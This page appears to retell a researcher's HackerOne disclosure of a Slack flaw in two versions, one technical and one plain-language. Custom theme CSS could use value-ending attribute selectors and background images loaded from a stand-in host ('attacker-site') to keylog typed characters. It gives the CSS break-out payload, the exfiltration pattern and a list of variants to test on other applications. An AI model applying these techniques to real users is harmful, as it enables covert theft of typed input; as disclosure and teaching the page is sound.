Keylogging users via Slack themes
Slack allowed custom themes to include arbitrary CSS, and CSS attribute selectors could detect characters typed into text inputs. An attacker could exfiltrate typed characters by loading external images whose URLs encoded the detected input.
Published on fletchto99.dev
Back in August I found a vulnerability in Slack which allowed me to keylog slack input via custom themes. I came across this vulnerability when we were having some discussions in my work’s slack regarding using CSS to change the font to comic-sans, as seen below:
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Slack lets users customise the look of their client with themes. A theme is a block of CSS that the client applies to its own interface, so the styling rules a user supplies are rendered inside the Slack application itself. That is the feature I abused: because the theme is CSS, and CSS is evaluated against the live DOM of the client, a sufficiently creative theme can do more than change colours.
I found the issue in August and Slack disclosed it on HackerOne. The write-up below covers how a theme can be turned into a keylogger against the person who applies it.
Setup
The precondition is the important part: the victim has to apply the attacker's custom theme. The 1-click custom theme option was not exploitable, so the theme had to be copied and pasted by the user, which raises suspicion. Once a theme is applied it is persisted across clients, so every Slack instance the user has is affected. I found that out the hard way and locked myself out of several Slack test instances while experimenting.
Finding it
The starting point was a discussion at work about using CSS in a Slack theme to change the font to comic-sans. That on its own is harmless and would likely not have earned a bounty, perhaps a low for missing input sanitisation. I wanted to know whether the same injection could be made genuinely dangerous.
A co-worker, d12, pointed out that the following could be used to stop the user's Slack instance from rendering at all:
#FFFFFF;} html {display:none;}
That is clearly worse than a font change, but it is still only denial of rendering. My goal was data exfiltration: being able to read what is typed in a Slack instance I am not part of.
That led me to CSS attribute selectors for specific values, and in particular to the fact that CSS can match the most recent value added to an input through the [value$="<value>"] selector. Slack also allows external images to be loaded. Put those two capabilities together and the theme can make the client request a URL of my choosing, with the typed character encoded in the path.
Exploitation
Step 1: build a theme that matches a typed character
The theme I built determines when the user types the letter A into an <input type="text"> on Slack. When that happens, the CSS loads a background image from https://attacker-site/A:
The report notes that CSS allows you to determine the most recent value added to an input via the [value$="<value>"] selector. The background-image declaration then causes the client to fetch the URL, and the final path segment records which character was matched.
Step 2: log the request server side
The request to https://attacker-site/A arrives at my server, where it can be logged. A logged request for that path indicates that the user typed the letter A. Repeating the pattern for other characters turns the theme into a keylogger.
Step 3: demonstrate it in the client
I recorded a proof of concept of the request being logged locally and sent it to Slack.
In the video I go into channels rather than typing a message. The channel option used a text input, while the message input was more complicated. It would probably have been possible to write CSS that selects on the attributes of the message input, but the channel input was enough to prove that exfiltration was possible.

That was as much of a proof of concept as I needed to show Slack that data exfiltration was possible, provided the user actually applied the custom theme.
Root cause
Slack applies user-supplied theme CSS to its own interface, and that CSS can select on input values and load external images. Attribute selectors such as [value$="A"] let a stylesheet observe the current value of an input, and background-image (or any other URL-bearing property) turns that observation into an outbound request. Because the theme is persisted across clients, one application of a malicious theme affects every Slack instance the user has.
The 1-click custom theme option was not exploitable, so the theme still required the user to copy and paste it, which would raise suspicions.
Impact
An attacker who convinces a user to paste a crafted theme can infer what that user types into text inputs in Slack, character by character, by watching requests to a server they control. The technique depends on the victim applying the theme, and the proof of concept targeted a simple text input (the channel option) rather than the more complex message input. A theme can also break rendering entirely, as the html {display:none;} example shows, and because themes persist across clients the effect follows the user to their other Slack instances.
Fix
Slack disclosed the vulnerability on HackerOne. The report does not describe any fix.
Variants to test
- Try other URL-bearing CSS properties in place of
background-image, such aslist-style-imageorcursor, and watch for outbound requests to your server. A positive result is a request whose path encodes the matched value. - Try attribute selectors on other attributes and elements in the target application, not just
valueon text inputs. A positive result is a request fired only when a specific attribute value is present. - Test whether the application offers a 1-click theme or profile import in addition to copy and paste. A positive result is the payload being applied without the user manually pasting CSS.
- Check whether the injected CSS persists across sessions or clients. A positive result is the payload still firing after logout, on another device, or in another client.
- Test whether the application sanitises the CSS at all by submitting the rendering-breaking payload:
#FFFFFF;} html {display:none;}
A positive result is the interface failing to render after the theme is applied.
What happened, in plain words
Slack is a chat application that many workplaces use to talk to each other in channels. One of its features lets you change how the app looks: you paste in a block of styling instructions, called CSS, and Slack applies them to its own interface. CSS is the language that tells a browser or app how things should look: colours, fonts, sizes, and also which images to load.
Because a theme is just CSS, and CSS is read by the app while it is running, a cleverly written theme can do more than change colours. In August, Matt Langlois found a vulnerability in Slack that allowed him to keylog input via custom themes. In other words, a theme could act as a keylogger: software that records keystrokes. Slack disclosed the issue on HackerOne, a public bug bounty platform, and paid a $500 bounty.
The important catch is that the victim has to apply the attacker's theme first. The easy one-click way of applying a theme was not exploitable, so the user had to copy and paste the CSS by hand, which is suspicious and gives the victim a chance to think twice. Once a theme is applied, it is saved across all of the user's Slack clients, so every Slack instance that person uses is affected. The researcher found this out the hard way and locked himself out of several Slack test instances while experimenting.
Finding it
The starting point was a chat at work about using CSS in a Slack theme to change the font to comic-sans. On its own that is harmless and would probably not have earned a bounty, perhaps a low severity rating for missing input sanitisation. Sanitisation means cleaning up what a user submits so it cannot do anything unexpected. The researcher wanted to know whether the same injection could be made genuinely dangerous.
A co-worker, d12, pointed out that the following could be used to stop the user's Slack instance from rendering at all:
#FFFFFF;} html {display:none;}
Line by line:
#FFFFFFis a colour code for white. In a theme, this would normally be the value of some colour setting.}closes whatever rule the theme was in the middle of, so the rest of the line is no longer treated as a colour value.html {display:none;}is a new CSS rule.htmlmeans the whole page, anddisplay:nonetells the app not to show it. The result is a blank Slack window.
That is clearly worse than a font change, but it is still only denial of rendering: the app is there, you just cannot see it. The researcher's goal was data exfiltration: getting data out of the victim's app and into the attacker's hands. Specifically, being able to read what is typed in a Slack instance the attacker is not part of.
That led to CSS attribute selectors for specific values. An attribute selector is a way of saying "match this element only if one of its attributes has a particular value". In particular, CSS can match the most recent value added to an input through the [value$="<value>"] selector. The report notes that CSS allows you to determine the most recent value added to an input via the [value$="<value>"] selector. Slack also allows external images to be loaded. Put those two capabilities together and the theme can make the client request a URL of the attacker's choosing, with the typed character encoded in the path.
Exploitation
Step 1: build a theme that matches a typed character
The theme the researcher built determines when the user types the letter A into an <input type="text"> on Slack. An <input type="text"> is a simple one-line text box. When that happens, the CSS loads a background image from https://attacker-site/A:
Line by line:
[value$="A"]is the selector. It matches any element whosevalueattribute ends inA, which is how the most recently typed character is detected.background-image: url("https://attacker-site/A")tells the app to load an image from that address as the background of the matched element.- The final path segment,
A, records which character was matched.
Step 2: log the request server side
The request to https://attacker-site/A arrives at the researcher's server, where it can be logged. A logged request for that path indicates that the user typed the letter A. Repeating the pattern for other characters turns the theme into a keylogger.
Step 3: demonstrate it in the client
The researcher recorded a proof of concept of the request being logged locally and sent it to Slack.
In the video he goes into channels rather than typing a message. The channel option used a text input, while the message input was more complicated. It would probably have been possible to write CSS that selects on the attributes of the message input, but the channel input was enough to prove that exfiltration was possible.

That was as much of a proof of concept as was needed to show Slack that data exfiltration was possible, provided the user actually applied the custom theme.
Root cause
Slack applies user-supplied theme CSS to its own interface, and that CSS can select on input values and load external images. Attribute selectors such as [value$="A"] let a stylesheet observe the current value of an input, and background-image (or any other URL-bearing property) turns that observation into an outbound request. Because the theme is persisted across clients, one application of a malicious theme affects every Slack instance the user has.
The 1-click custom theme option was not exploitable, so the theme still required the user to copy and paste it, which would raise suspicions.
Impact
An attacker who convinces a user to paste a crafted theme can infer what that user types into text inputs in Slack, character by character, by watching requests to a server they control. The technique depends on the victim applying the theme, and the proof of concept targeted a simple text input (the channel option) rather than the more complex message input. A theme can also break rendering entirely, as the html {display:none;} example shows, and because themes persist across clients the effect follows the user to their other Slack instances.
Fix
Slack disclosed the vulnerability on HackerOne. The report does not describe any fix.
Variants to test
- Try other URL-bearing CSS properties in place of
background-image, such aslist-style-imageorcursor, and watch for outbound requests to your server. A positive result is a request whose path encodes the matched value. - Try attribute selectors on other attributes and elements in the target application, not just
valueon text inputs. A positive result is a request fired only when a specific attribute value is present. - Test whether the application offers a 1-click theme or profile import in addition to copy and paste. A positive result is the payload being applied without the user manually pasting CSS.
- Check whether the injected CSS persists across sessions or clients. A positive result is the payload still firing after logout, on another device, or in another client.
- Test whether the application sanitises the CSS at all by submitting the rendering-breaking payload:
#FFFFFF;} html {display:none;}
A positive result is the interface failing to render after the theme is applied.
Glossary
- CSS: the language used to describe how a page or app should look, including colours, fonts and images.
- Theme: a block of CSS that a user applies to change the appearance of an app.
- Keylogger: software or a technique that records what a person types.
- Bug bounty: a programme that pays people for finding and reporting security problems.
- HackerOne: a public platform where security researchers report vulnerabilities and programmes disclose them.
- Bounty: the money paid for a valid report.
- Sanitisation: cleaning up user input so it cannot do anything unexpected.
- Injection: putting content into a place where it is interpreted as instructions rather than plain data.
- Denial of rendering: making an app or page fail to display, without necessarily crashing it.
- Data exfiltration: getting data out of a system and into the attacker's hands.
- Attribute selector: a CSS selector that matches an element only when one of its attributes has a particular value.
[value$="<value>"]: a selector that matches an input whose value ends with the given text.<input type="text">: a simple one-line text box in a web page or app.background-image: a CSS property that tells the app to load an image from a URL.- URL: the address of something on the web, such as an image or a page.
- Server: a computer that receives requests and can record them.
- Client: the app or device a person uses, such as the Slack app on a computer.
- Persistence: a setting that is saved and stays in effect across sessions or devices.
- Proof of concept (PoC): a small demonstration that a vulnerability is real.
- 1-click import: a feature that applies a theme or profile with a single click, without the user pasting anything.
- Payload: the piece of content, here CSS, that carries out the attack.
- Severity rating: a label such as
lowthat describes how serious a vulnerability is.